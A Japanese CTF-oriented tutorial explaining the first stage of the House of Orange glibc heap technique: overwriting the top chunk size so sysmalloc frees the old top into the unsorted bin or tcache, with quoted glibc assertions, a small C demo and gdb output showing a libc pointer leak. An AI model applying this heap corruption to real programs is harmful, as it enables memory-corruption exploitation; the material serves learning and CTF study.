添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

名前だけ知ってたのですが内容は全然知らなかったのでまとめます。 ヒープ問を解くときは通常freeによりチャンクをtcacheやbinに繋げるのですが、中にはdelete系の機能が用意されていなかったりfreeの回数に制限があったりという問題があります。 そのような場合に使えるのがHouse of Orangeというテクニックで、freeがなくてtop chunkのサイズを改竄できるときに便利です。

House of Orangeは本来top chunkのサイズ改竄により _int_free を呼び出し、その際できたmain arenaへのポインタを使ってlibc leakし、最後に偽の _IO_FILE を使ってシェルを取る、という流れの攻撃です。 正直一番やりたいのはfreeする部分なので、今回は _int_free が呼び出されるまでの原理について説明します。

_int_ malloc からsysmallocを呼ぶ

malloc の際、tcacheやfastbinに適切なサイズのチャンクがあればそれを利用するのですが、この時 _int_malloc 関数の中では次のような順番で処理しています。

  • tcacheを参照
  • fastbinを参照
  • unsorted binを参照
  • large binを参照
  • topを参照
  • sysmallocを使う
  • topチャンクの利用にも失敗した場合、sysmallocという関数が呼ばれてヒープ領域の確保や拡張が行われます。 ソースコード では次のように _int_malloc の最後で呼ばれています。

    Otherwise, relay to handle system-dependent cases void *p = sysmalloc (nb, av); if (p != NULL ) alloc_perturb (p, bytes); return p;

    sysmallocにはセキュリティ機構があり、次の条件をクリアしないといけません。

  • MINSIZE(0x10)より大きい
  • prev_inuseフラグがセットされている
  • old_end (=old_top + old_size) がページサイズにアラインされている
  • MINSIZE(0x10) + nbより小さい
  • assert ((old_top == initial_top (av) && old_size == 0) ||
            ((unsigned long) (old_size) >= MINSIZE &&
             prev_inuse (old_top) &&
            ((unsigned long) old_end & (pagesize - 1)) == 0));
    assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
    

    sysmallocでは古いtopチャンクに対して_int_freeを呼んでいます。 やっていることは、topチャンクのサイズより大きいサイズでmallocされるとmmapしないといけないけど、残ったtopチャンクがもったいないからfreeして後から使えるようにしよう、ということです。 _int_freeが呼ばれるので、topチャンクのサイズがfastbinサイズならfastbinに、そうでなければunsorted binに入ります。(tcacheが有効ならtcacheに。)

    sysmallocから_int_freeを呼ぶ

    次のように_int_freeが呼ばれているのですが、このためには先程のセキュリティチェックを通過する必要があります。

    _int_free (av, old_top, 1);
    

    特に重要なのは3つ目の条件です。

    ((unsigned long) old_end & (pagesize - 1)) == 0))
    

    old_endはtopチャンクのアドレス + topチャンクのサイズです。 したがって、この2つを足した値がページサイズにalignされている必要があります。 また、セキュリティチェック以外にも避ける必要がある場所があります。 サイズがあるしきい値を超えるとtopは拡張されずmmapが使われてしまいます。

    If have mmap, and the request size meets the mmap threshold, and the system supports mmap, and there are few enough currently allocated mmapped regions, try to directly map this request rather than expanding top. if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))

    参考文献によるとlibc-2.23以下であればabortを利用して_IO_FILE構造体をいじってlibc leakしたりシェルを取ったりできるようです。

    正直いまいちイメージが掴めないと思うので、論より証拠ということでやってみましょう。 まずは失敗例から。topのサイズを適当に変えるとtop + top_sizeがalignされてないので怒られます。

    #include <stdio.h>
    #include <stdlib.h>
    int main() {
      setbuf(stdout, NULL);
      char *ptr = malloc(0x38);
      // ex) abuse heap overflow of ptr
      *(unsigned long*)(ptr + 0x38) = 0x71;
      malloc(0x1000);
    

    ダメぴよ。

    $ ./a.out 
    a.out: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
    中止 (コアダンプ)

    gdbで見てみると、top size改竄前は次のようになっています。

    pwndbg> x/16xg 0x555555756250
    0x555555756250: 0x0000000000000000      0x0000000000000041
    0x555555756260: 0x0000000000000000      0x0000000000000000
    0x555555756270: 0x0000000000000000      0x0000000000000000
    0x555555756280: 0x0000000000000000      0x0000000000000000
    0x555555756290: 0x0000000000000000      0x0000000000020d71
    0x5555557562a0: 0x0000000000000000      0x0000000000000000
    0x5555557562b0: 0x0000000000000000      0x0000000000000000
    0x5555557562c0: 0x0000000000000000      0x0000000000000000

    ということで、例えばサイズを0xd71にすれば問題無いはずです。

    #include <stdio.h>
    #include <stdlib.h>
    int main() {
      setbuf(stdout, NULL);
      char *ptr = malloc(0x38);
      // ex) abuse heap overflow of ptr
      *(unsigned long*)(ptr + 0x38) = 0xd71;
      malloc(0x1000);
    

    これでabortしなくなりました。2回目のmalloc後のunsorted binを見てみましょう。

    pwndbg> x/16xg 0x555555756250
    0x555555756250: 0x0000000000000000      0x0000000000000041
    0x555555756260: 0x0000000000000000      0x0000000000000000
    0x555555756270: 0x0000000000000000      0x0000000000000000
    0x555555756280: 0x0000000000000000      0x0000000000000000
    0x555555756290: 0x0000000000000000      0x0000000000000d51
    0x5555557562a0: 0x00007ffff7dcfca0      0x00007ffff7dcfca0
    0x5555557562b0: 0x0000000000000000      0x0000000000000000
    0x5555557562c0: 0x0000000000000000      0x0000000000000000
    pwndbg> unsortedbin 
    unsortedbin
    all: 0x555555756290 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555756290

    unsorted binに繋がっています。実質サイズ0xd50のチャンクをfreeしたのと同じことが起きました。 したがって、topのサイズの下位24ビットをtcacheサイズにした上で同じことをすれば、unsorted binではなくtcacheに繋がります。fastbinも同様です。

    これ系は基本的にheap overflowが多いので、tcacheに繋いだついでにfdを書き換えれば2度おいしいです。 本当はこのあと_IO_2_1_stdoutとかを書き換えてlibc leakするのですが、それは別の記事で説明したので割愛します。

    [1] https://1ce0ear.github.io/2017/11/26/study-house-of-orange/

    [2] http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html